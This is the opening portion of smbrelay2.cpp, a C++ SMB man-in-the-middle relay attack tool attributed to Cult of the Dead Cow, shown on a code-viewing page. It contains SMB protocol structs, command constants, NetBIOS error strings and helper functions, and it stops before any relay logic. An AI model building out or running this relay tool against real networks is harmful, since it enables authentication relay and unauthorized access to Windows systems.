📄 smbrelay2.cpp
字号:
// smbrelay2.cpp : NetBIOS level SMB man-in-the-middle relay attack
// Copyright 2001 Sir Dystic - Cult of the Dead Cow - sirdystic@cultdeadcow.com
#pragma comment( lib, "netapi32.lib" )
#include <windows.h>
#include <nb30.h>
#include <process.h>
#include <stdio.h>
#include <conio.h>
#pragma pack(1)
int g_LanaNum = 0;
BOOL g_LocalGroupName = FALSE;
DWORD g_FinalReadTimeout = 3000;
BOOL g_bQuit = FALSE;
int g_DebugLevel = 0;
#define SERVERDOMAINNAME "PEE"
#define SMBMAGICVAL MAKELONG(MAKEWORD(0xFF, 'S'), MAKEWORD('M', 'B') )
#define NULLNAME "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"
#define WILDCARDNAME "*\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"
#define NBCheck(x, s) if (NRC_GOODRET != x.ncb_retcode) { fprintf(stderr, "Line %d:%s: Got 0x%x from Netbios(): %s\n", __LINE__, s, x.ncb_retcode, NBErrorTxt(x.ncb_retcode)); }
#define DATAGRAMBUFFERSIZE 16384
typedef struct {
DWORD MagicVal;
BYTE Command;
union
{
struct
{
BYTE ErrorClass;
BYTE Reserved;
WORD ErrorCode;
};
DWORD NTError;
};
// flags field
BYTE bLockAndReadWriteAndUnlock:1;
BYTE bSendWithoutAck:1;
BYTE bReservedBit:1;
BYTE bNoCaseSensitivePaths:1;
BYTE bCanonicalizedPaths:1;
BYTE bOpportunisticLocks:1;
BYTE bChangeNotify:1;
BYTE bResponse:1;
// 2nd flags field
BYTE bLongFilenames:1;
BYTE bExtendedAttributes:1;
BYTE bFlags2IsLongName:1;
BYTE bUnknown1:1;
BYTE bUnknown2:1;
BYTE bUnknown3:1; //***
BYTE bUnknown4:1;
BYTE bUnknown5:1; //***
BYTE bUnknown6:1;
BYTE bUnknown7:1;
BYTE bUnknown8:1;
BYTE bExtendedSecurity:1;
BYTE bResolveViaDFS:1;
BYTE bReadGrantedWithExecPerms:1;
BYTE bNTErrorCodes:1;
BYTE bUnicodeStrings:1;
WORD PID;
DWORD HdrReserved;
WORD SessionID;
WORD SequenceNumber;
BYTE Padding[2];
WORD TreeID;
WORD CallersProcess;
WORD UserID;
WORD MultiplexID;
} SMBHEADER, *PSMBHEADER;
typedef struct {
BYTE Len; // should be 17
WORD DialectIndex;
BYTE bUserLevelSecurity:1;
BYTE bEncryptPasswords:1;
BYTE bSecuritySignaturesEnabled:1;
BYTE bSecuritySignaturesRequired:1;
BYTE bReserved:4;
WORD MaxPendingMpxRequests;
WORD MaxVCsInClientAndServer;
DWORD MaxTransmitBufferSize;
DWORD MaxRawBufferSize;
DWORD UniqueSessionKey;
BYTE bReadAndWriteRawMode:1;
BYTE bReadAndWriteMultiplexMode:1;
BYTE bUnicode:1;
BYTE bLargeFiles:1;
BYTE bNTLM012Dialect:1;
BYTE bRAPIviaRPC:1;
BYTE bNT32BitStatus:1;
BYTE bLevelIIOplocks:1;
BYTE bLOCK_AND_READ_Command:1;
BYTE bNT_FIND_SBM_Command:1;
BYTE Unused1:2;
BYTE bDFSAware:1;
BYTE Unused2:3;
BYTE Unused3;
BYTE Unused4:5;
BYTE bBulkTransfer:1;
BYTE bCompressedData:1;
BYTE bExtendedSecurity:1;
DWORD SystemDate;
DWORD SystemTime;
WORD TimeZone;
BYTE EncryptionKeyLen;
WORD ByteCount;
} SMBDIALECTSELECTHEADER, *PSMBDIALECTSELECTHEADER;
#define SMBDIALECTSELECTHEADER_LEN 17
typedef struct
{
BYTE Len; // should be 10
BYTE AndXCommand;
BYTE AndXReserved;
WORD AndXOffset;
WORD MaxBufferSize;
WORD MaxMpxCount;
WORD VcNumber; // 0 = first (only), nonzero=additional VC number
DWORD SessionKey;
WORD PasswordLen;
DWORD Reserved;
WORD ByteCount;
} SESSION_SETUP_ANDHEADER, *PSESSION_SETUP_ANDHEADER;
#define SESSION_SETUP_ANDHEADER_LEN 10
typedef struct
{
BYTE Len; // should be 13
BYTE AndXCommand;
BYTE AndXReserved;
WORD AndXOffset;
WORD MaxBufferSize;
WORD MaxMpxCount;
WORD VcNumber; // 0 = first (only), nonzero=additional VC number
DWORD SessionKey;
WORD CaseInsensitivePasswordLen;
WORD CaseSensitivePasswordLen;
DWORD Reserved;
DWORD ClientCaps;
WORD ByteCount;
} SESSION_SETUP_ANDHEADER2, *PSESSION_SETUP_ANDHEADER2;
#define SESSION_SETUP_ANDHEADER2_LEN 13
typedef struct
{
BYTE Len; // should be 12
BYTE AndXCommand;
BYTE AndXReserved;
WORD AndXOffset;
WORD MaxBufferSize;
WORD MaxMpxCount;
WORD VcNumber; // 0 = first (only), nonzero=additional VC number
DWORD SessionKey;
WORD SecurityBlobLen;
DWORD Reserved;
DWORD ClientCaps;
WORD ByteCount;
} SESSION_SETUP_ANDHEADER2EX, *PSESSION_SETUP_ANDHEADER2EX;
#define SESSION_SETUP_ANDHEADER2EX_LEN 12
typedef struct
{
BYTE Len; // should be 3
BYTE AndXCommand;
BYTE AndXReserved;
WORD AndXOffset;
WORD Action;
WORD ByteCount;
} SESSION_SETUP_ANDRESPONSEHEADER, *PSESSION_SETUP_ANDRESPONSEHEADER;
// followed by
// SZ Server native OS
// SZ Server native LanMan
// SZ Server primary domain
#define SESSION_SETUP_ANDRESPONSEHEADER_LEN 3
typedef struct
{
BYTE Len; // should be 4
BYTE AndXCommand;
BYTE AndXReserved;
WORD AndXOffset;
WORD Flags;
WORD PasswordLen;
WORD ByteCount;
} TREE_CONNECT_ANDHEADER, *PTREE_CONNECT_ANDHEADER;
#define TREE_CONNECT_ANDHEADER_LEN 4
typedef struct
{
BYTE Len; // should be 3
BYTE AndXCommand;
BYTE AndXReserved;
WORD AndXOffset;
WORD OptionalSupport;
WORD ByteCount;
} TREE_CONNECT_ANDRESPONSEHEADER, *PTREE_CONNECT_ANDRESPONSEHEADER;
// followed by
// SZ Servicetype connected to
// SZ NativeFileSystem
#define TREE_CONNECT_ANDRESPONSEHEADER_LEN 3
typedef struct
{
BYTE Len; // should be 24
BYTE AndXCommand;
BYTE AndXReserved;
WORD AndXOffset;
BYTE Reserved;
WORD NameLength;
DWORD Flags;
DWORD RootDirectoryFid;
DWORD AccessMask;
LARGE_INTEGER AllocationSize;
DWORD ExtFileAttributes;
DWORD ShareAccess;
DWORD CreateDisposition;
DWORD CreateOptions;
DWORD ImpersonationLevel;
BYTE SecurityFlags;
WORD ByteCount;
} NT_CREATE_ANDHEADER, *PNT_CREATE_ANDHEADER;
#define NT_CREATE_ANDHEADER_LEN 24
#define TYPE_SESSION_MESSAGE 0x00
#define TYPE_SESSION_REQUEST 0x81
#define TYPE_POSITIVE_SESSION_RESPONSE 0x82
#define TYPE_NEGATIVE_SESSION_RESPONSE 0x83
#define TYPE_RETARGET_SESSION_RESPONSE 0x84
#define TYPE_SESSION_KEEP_ALIVE 0x85
#define SMB_COM_CREATE_DIRECTORY 0x00
#define SMB_COM_DELETE_DIRECTORY 0x01
#define SMB_COM_OPEN 0x02
#define SMB_COM_CREATE 0x03
#define SMB_COM_CLOSE 0x04
#define SMB_COM_FLUSH 0x05
#define SMB_COM_DELETE 0x06
#define SMB_COM_RENAME 0x07
#define SMB_COM_QUERY_INFORMATION 0x08
#define SMB_COM_SET_INFORMATION 0x09
#define SMB_COM_READ 0x0A
#define SMB_COM_WRITE 0x0B
#define SMB_COM_LOCK_BYTE_RANGE 0x0C
#define SMB_COM_UNLOCK_BYTE_RANGE 0x0D
#define SMB_COM_CREATE_TEMPORARY 0x0E
#define SMB_COM_CREATE_NEW 0x0F
#define SMB_COM_CHECK_DIRECTORY 0x10
#define SMB_COM_PROCESS_EXIT 0x11
#define SMB_COM_SEEK 0x12
#define SMB_COM_LOCK_AND_READ 0x13
#define SMB_COM_WRITE_AND_UNLOCK 0x14
#define SMB_COM_READ_RAW 0x1A
#define SMB_COM_READ_MPX 0x1B
#define SMB_COM_READ_MPX_SECONDARY 0x1C
#define SMB_COM_WRITE_RAW 0x1D
#define SMB_COM_WRITE_MPX 0x1E
#define SMB_COM_WRITE_COMPLETE 0x20
#define SMB_COM_SET_INFORMATION2 0x22
#define SMB_COM_QUERY_INFORMATION2 0x23
#define SMB_COM_LOCKING_ANDX 0x24
#define SMB_COM_TRANSACTION 0x25
#define SMB_COM_TRANSACTION_SECONDARY 0x26
#define SMB_COM_IOCTL 0x27
#define SMB_COM_IOCTL_SECONDARY 0x28
#define SMB_COM_COPY 0x29
#define SMB_COM_MOVE 0x2A
#define SMB_COM_ECHO 0x2B
#define SMB_COM_WRITE_AND_CLOSE 0x2C
#define SMB_COM_OPEN_ANDX 0x2D
#define SMB_COM_READ_ANDX 0x2E
#define SMB_COM_WRITE_ANDX 0x2F
#define SMB_COM_CLOSE_AND_TREE_DISC 0x31
#define SMB_COM_TRANSACTION2 0x32
#define SMB_COM_TRANSACTION2_SECONDARY 0x33
#define SMB_COM_FIND_CLOSE2 0x34
#define SMB_COM_FIND_NOTIFY_CLOSE 0x35
#define SMB_COM_TREE_CONNECT 0x70
#define SMB_COM_TREE_DISCONNECT 0x71
#define SMB_COM_NEGOTIATE 0x72
#define SMB_COM_SESSION_SETUP_ANDX 0x73
#define SMB_COM_LOGOFF_ANDX 0x74
#define SMB_COM_TREE_CONNECT_ANDX 0x75
#define SMB_COM_QUERY_INFORMATION_DISK 0x80
#define SMB_COM_SEARCH 0x81
#define SMB_COM_FIND 0x82
#define SMB_COM_FIND_UNIQUE 0x83
#define SMB_COM_NT_TRANSACT 0xA0
#define SMB_COM_NT_TRANSACT_SECONDARY 0xA1
#define SMB_COM_NT_CREATE_ANDX 0xA2
#define SMB_COM_NT_CANCEL 0xA4
#define SMB_COM_OPEN_PRINT_FILE 0xC0
#define SMB_COM_WRITE_PRINT_FILE 0xC1
#define SMB_COM_CLOSE_PRINT_FILE 0xC2
#define SMB_COM_GET_PRINT_QUEUE 0xC3
#define SMB_COM_READ_BULK 0xD8
#define SMB_COM_WRITE_BULK 0xD9
#define SMB_COM_WRITE_BULK_DATA 0xDA
#define SMB_NONE 0xFF
// The original MSNET SMB protocol (otherwise known as the "core protocol")
#define LANMANDIALECT_PCNETWORKPROGRAM10 "PC NETWORK PROGRAM 1.0"
// Some versions of the original MSNET defined this as an alternate to the core protocol name
#define LANMANDIALECT_PCLAN10 "PCLAN1.0"
// This is used for the MS-NET 1.03 product. It defines Lock&Read,Write&Unlock, and a special version of raw read and raw write.
#define LANMANDIALECT_MICROSOFTNETWORKS103 "MICROSOFT NETWORKS 1.03"
// This is the DOS LANMAN 1.0 specific protocol. It is equivalent to the LANMAN 1.0 protocol, except the server is required to map errors from the OS/2 error to an appropriate DOS error.
#define LANMANDIALECT_MICROSOFTNETWORKS30 "MICROSOFT NETWORKS 3.0"
// This is the first version of the full LANMAN 1.0 protocol
#define LANMANDIALECT_LANMAN10 "LANMAN1.0"
// This is the first version of the full LANMAN 2.0 protocol
#define LANMANDIALECT_LM12X002 "LM1.2X002"
// This is the DOS equivalent of the LM1.2X002 protocol. It is identical to the LM1.2X002 protocol, but the server will perform error mapping to appropriate DOS errors.
#define LANMANDIALECT_DOSLM12X002 "DOS LM1.2X002"
// DOS LANMAN2.1
#define LANMANDIALECT_DOSLANMAN21 "DOS LANMAN2.1"
// OS/2 LANMAN2.1
#define LANMANDIALECT_LANMAN21 "LANMAN2.1"
// Windows for Workgroups Version 1.0
#define LANMANDIALECT_WFW31A "Windows for Workgroups 3.1a"
// The SMB protocol designed for NT networking. This has special SMBs which duplicate the NT semantics.
#define LANMANDIALECT_NTLM012 "NT LM 0.12"
#define SMBENCRYPTIONKEYLEN 8
char *NBErrorTxt(int Er)
{
char *Ret = "Unknown";
switch (Er)
{
case NRC_GOODRET:
Ret = "good return";
break;
case NRC_BUFLEN:
Ret = "illegal buffer length";
break;
case NRC_ILLCMD:
Ret = "illegal command";
break;
case NRC_CMDTMO:
Ret = "command timed out";
break;
case NRC_INCOMP:
Ret = "message incomplete, issue another command";
break;
case NRC_BADDR:
Ret = "illegal buffer address";
break;
case NRC_SNUMOUT:
Ret = "session number out of range";
break;
case NRC_NORES:
Ret = "no resource available";
break;
case NRC_SCLOSED:
Ret = "session closed";
break;
case NRC_CMDCAN:
Ret = "command cancelled";
break;
case NRC_DUPNAME:
Ret = "duplicate name";
break;
case NRC_NAMTFUL:
Ret = "name table full";
break;
case NRC_ACTSES:
Ret = "no deletions, name has active sessions";
break;
case NRC_LOCTFUL:
Ret = "local session table full";
break;
case NRC_REMTFUL:
Ret = "remote session table full";
break;
case NRC_ILLNN:
Ret = "illegal name number";
break;
case NRC_NOCALL:
Ret = "no callname";
break;
case NRC_NOWILD:
Ret = "cannot put * in NCB_NAME";
break;
case NRC_INUSE:
Ret = "name in use on remote adapter";
break;
case NRC_NAMERR:
Ret = "name deleted";
break;
case NRC_SABORT:
Ret = "session ended abnormally";
break;
case NRC_NAMCONF:
Ret = "name conflict detected";
break;
case NRC_IFBUSY:
Ret = "interface busy, IRET before retrying";
break;
case NRC_TOOMANY:
Ret = "too many commands outstanding, retry later";
break;
case NRC_BRIDGE:
Ret = "ncb_lana_num field invalid";
break;
case NRC_CANOCCR:
Ret = "command completed while cancel occurring";
break;
case NRC_CANCEL:
Ret = "command not valid to cancel";
break;
case NRC_DUPENV:
Ret = "name defined by anther local process";
break;
case NRC_ENVNOTDEF:
Ret = "environment undefined. RESET required";
break;
case NRC_OSRESNOTAV:
Ret = "required OS resources exhausted";
break;
case NRC_MAXAPPS:
Ret = "max number of applications exceeded";
break;
case NRC_NOSAPS:
Ret = "no saps available for netbios";
break;
case NRC_NORESOURCES:
Ret = "requested resources are not available";
break;
case NRC_INVADDRESS:
Ret = "invalid ncb address or length > segment";
break;
case NRC_INVDDID:
Ret = "invalid NCB DDID";
break;
case NRC_LOCKFAIL:
Ret = "lock of user area failed";
break;
case NRC_OPENERR:
Ret = "NETBIOS not loaded";
break;
case NRC_SYSTEM:
Ret = "system error";
break;
case NRC_PENDING:
Ret = "asynchronous command is not yet finished";
break;
}
return Ret;
}
void PrintNetBIOSName(unsigned char *name)
{
BYTE BinVal;
char PrintName[NCBNAMSZ];
int x;
memcpy(PrintName, name, NCBNAMSZ-1);
PrintName[NCBNAMSZ-1] = 0;
BinVal = name[NCBNAMSZ-1];
fprintf(stderr, "%s", PrintName);
for (x = 0; x < NCBNAMSZ - (int)strlen(PrintName); x++)
fprintf(stderr, " ");
fprintf(stderr, "<%02x>", BinVal);
}
void ParamToNetBIOSName(char *dest, char *src)
{
int x, len;
char *tmpptr;
char *BinValPtr = strchr(src, '\\');
if (BinValPtr != NULL)
{
*BinValPtr = 0;
tmpptr = BinValPtr - 1;
}
else
{
tmpptr = src + strlen(src) - 1; // point to last char in string
}
while (tmpptr > src && *tmpptr == ' ')
{
*tmpptr = 0;
tmpptr--;
}
len = strlen(src);
if (len > NCBNAMSZ-1) len = NCBNAMSZ-1;
if (strcmp(src, WILDCARDNAME) == 0)
memset(dest, 0, NCBNAMSZ-1);
else
memset(dest, ' ', NCBNAMSZ-1);
memcpy(dest, src, len);
if (BinValPtr != NULL)
{
dest[NCBNAMSZ-1] = (unsigned char)strtoul(BinValPtr+1, NULL, 16);
}
else
dest[NCBNAMSZ-1] = 0;
// convert to upper case
for (x = 0; x < NCBNAMSZ-1; x++)
dest[x] = toupper(dest[x]);
}
void PrintHexString(BYTE *src, int len)
{
int x;
if (len == 0)
return;
for (x = 0; x < len; x++)
{
fprintf(stderr, "%02X", *src);
src++;
}
fprintf(stderr, " ");
}
const char *GetCommandType(BYTE Command)
{
static char retbuff[64];
char * ret = retbuff;
switch(Command)
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -